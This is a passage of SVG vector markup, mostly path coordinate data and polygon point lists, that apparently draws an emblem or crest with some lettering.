0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.85,109.67c-.2.38-.44.77-.06,1.15.25.2.58.53,1,.39a1.26,1.26,0,0,0,.82-1.11c-.39-.53-1.2-1-1.77-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M221.29,109.86c-.33,0-.43.43-.67.68a1.05,1.05,0,0,0,.63.86c.14,0,.37-.05.47.1a1.18,1.18,0,0,0,.86-1.06c-.14-.58-.86-.63-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.06,110.39c-.33-.29-.47-.72-1-.53-.23.24-.66.53-.57,1a.93.93,0,0,0,.91.58,1,1,0,0,0,.71-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.6,110.82c.14.39.53.49.86.58a1.13,1.13,0,0,0,.91-.82,1,1,0,0,0-1.1-.72c-.33.24-.72.48-.67,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.44,114.73c.1-.35-.33-.58-.57-.78a9.45,9.45,0,0,0-2.72-3.51c-.39-.15-.87-.68-1.3-.24a9.86,9.86,0,0,0,2.49,3.85c.72.15,1.34,1,2.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.2,111.93c.43.1,1.06.19,1.34-.29a1.15,1.15,0,0,0,.1-1.06c-.33-.14-.58-.43-.91-.38s-.76.24-.91.62.15.82.38,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M131.86,111.5c-.29.29-.81.38-.57,1a.93.93,0,0,0,1.15.58c.48-.24.38-.82.33-1.2-.29-.24-.52-.44-.91-.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,115l-1.34-1.45c-.48-.14-.82-1-1.3-.58a.41.41,0,0,0,.2.49c.81,2.16,1.29,4.33,3.45,5.87h.18c.29-.24-.09-.57.05-.91a7,7,0,0,0-1.24-3.42Z" transform="translate(-23 -22)"/><path class="cls-1" d="M136.69,112.94c-1.48-.19-2.81.49-4.21.92a.39.39,0,0,0-.24.43c2.21,1.3,4.89.49,6.8-.86,0,0-.1-.05,0-.1l-2.3-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M121.86,117.42c.48.29.72-.24,1.1-.38,2-.48,3.49-2.46,5.12-3.47v-.38c-2.53.24-5.36,1.63-6.22,4.23Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.62,115.74c-.24-.39-.58-.39-1-.48-.24.14-.57.19-.71.53s0,.77.43,1a.65.65,0,0,0,.9,0,.77.77,0,0,0,.39-1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M215.64,116a.49.49,0,0,0-.61,0,10.47,10.47,0,0,0-4.89.24c-.24.24-.72.1-.76.48,1.43.39,2.92,1.16,4.54.58a2.65,2.65,0,0,0,1.72-1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.51,118.15c.38-.15.43-.58.57-.77a1,1,0,0,0-1-.82c-.28.09-.67.19-.76.53s.09.57.19.87a1,1,0,0,0,1,.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M129.8,117c-.24.14-.57.19-.67.44a1.13,1.13,0,0,0,.15,1,1.06,1.06,0,0,0,1,.34,1.77,1.77,0,0,0,.66-.92c-.19-.38-.61-.87-1.1-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.08,117.76c-.14.34-.62.58-.33,1,.14.24.23.62.57.67a.81.81,0,0,0,1.05-.19,1.2,1.2,0,0,0,.33-.92,1,1,0,0,0-1.62-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.86,119.5c.57.23.76-.39,1-.63.1-.2,0-.43-.1-.68-.24-.14-.53-.52-.95-.38a.92.92,0,0,0-.58,1.3c.15.1.29.48.58.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,119a1.29,1.29,0,0,0-.58,1.39c.2.63.87.63,1.39.53a1.28,1.28,0,0,0,.48-1.3,1.15,1.15,0,0,0-1.29-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.89,123.3v.25c.77.48,1.53-.25,2.3-.39,1.34-.77,1.62-2.41,1.72-3.76-1.2,1.35-3,2.46-4,3.9Z" transform="translate(-23 -22)"/><path class="cls-1" d="M210.14,119.83a1,1,0,0,0-.62.53c-.14.34-.1.82.24,1s.86.29,1.15,0,.48-.48.28-.77a1.31,1.31,0,0,0-1.05-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M137.37,126.54c-.39-1.21,0-2.7-.68-3.81.05-.29-.33-.29-.23-.63a13.06,13.06,0,0,0-1.82-2,.27.27,0,0,0-.34.1c.48,1.69.34,3.62,1.39,5.06.52.49.86,1.4,1.68,1.31Z" transform="translate(-23 -22)"/><path class="cls-1" d="M212.49,120.32c-.24.24-.63.38-.48.86a1.8,1.8,0,0,0,.91.44c.24-.24.67-.34.67-.73a.79.79,0,0,0-1.1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.22,120.94c-.19,1.93,1.19,3.33,2.58,4.58H219c.25.1.29-.19.29-.33,0-2-1.48-3.19-2.78-4.3l-.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.54,123c-.23.24-.76.48-.71,1,.09.72.9.77,1.43.63a1.11,1.11,0,0,0,.43-.92,1,1,0,0,0-1.15-.67Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.8,128.7c1.25-1.35,3.06-2.26,3.73-4-.14-.38.63-.91-.14-1A6.73,6.73,0,0,0,208.7,128c0,.19-.14.58.1.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M214.4,126.43a1.42,1.42,0,0,0,1.06.54c.23-.25.66-.44.66-.87a1,1,0,0,0-1.1-.53c-.28.24-.67.38-.62.86Z" transform="translate(-23 -22)"/><path class="cls-1" d="M166.33,41h14.19a1.19,1.19,0,0,0,0-2.38H166.33a1.19,1.19,0,0,0,0,2.38Zm13.73-2h.52c1,0,.93,1.68,0,1.68-.75,0-1.92-1.68-.53-1.68Zm-5.82,0h1.39c.74,0,2.06,1.68.67,1.68h-1.38c-.75,0-2.07-1.68-.68-1.68Zm-5.81,0h1.39c.74,0,2.05,1.68.66,1.68h-1.39c-.73,0-2.05-1.68-.66-1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.38,62.67,179.27,67l2.72-1,2.66,1-.81-4.31,1.87.51L185,60.86l.72-2.42-2.11.44,1.05-4-2.66,1-2.72-1,1,4-2.07-.34.58,2.32-.58,2.42,2.17-.61ZM182,59c.67,1.55,2-.09,2,1.55,0,.73-.05,1.57-.67,1.57H181.1c-1,0-1-.65-1-1.62,0-1.4,1.34-.19,1.83-1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M182.09,60.81c.61,0,1.46.42,1.46-.21,0-.88-.85-.58-1.46-.58s-1.47-.3-1.47.58c0,.63.84.21,1.47.21Z" transform="translate(-23 -22)"/><polygon class="cls-1" points="150.88 37.79 151.1 37.39 150.63 37.43 150.36 36.94 150.08 37.44 149.61 37.39 149.83 37.79 149.47 38.16 149.93 38.25 149.93 38.76 150.36 38.44 150.78 38.76 150.78 38.25 151.24 38.16 150.88 37.79 150.88 37.79"/><polygon class="cls-1" points="147.82 40.96 147.82 41.47 148.25 41.15 148.68 41.47 148.68 40.96 149.14 40.88 148.78 40.5 149 40.1 148.53 40.14 148.25 39.65 147.97 40.15 147.51 40.1 147.72 40.5 147.37 40.88 147.82 40.96 147.82 40.96"/><polygon class="cls-1" points="151.3 40.16 150.94 40.53 151.39 40.62 151.39 41.12 151.82 40.8 152.25 41.12 152.25 40.62 152.7 40.53 152.36 40.16 152.58 39.75 152.1 39.79 151.82 39.31 151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" 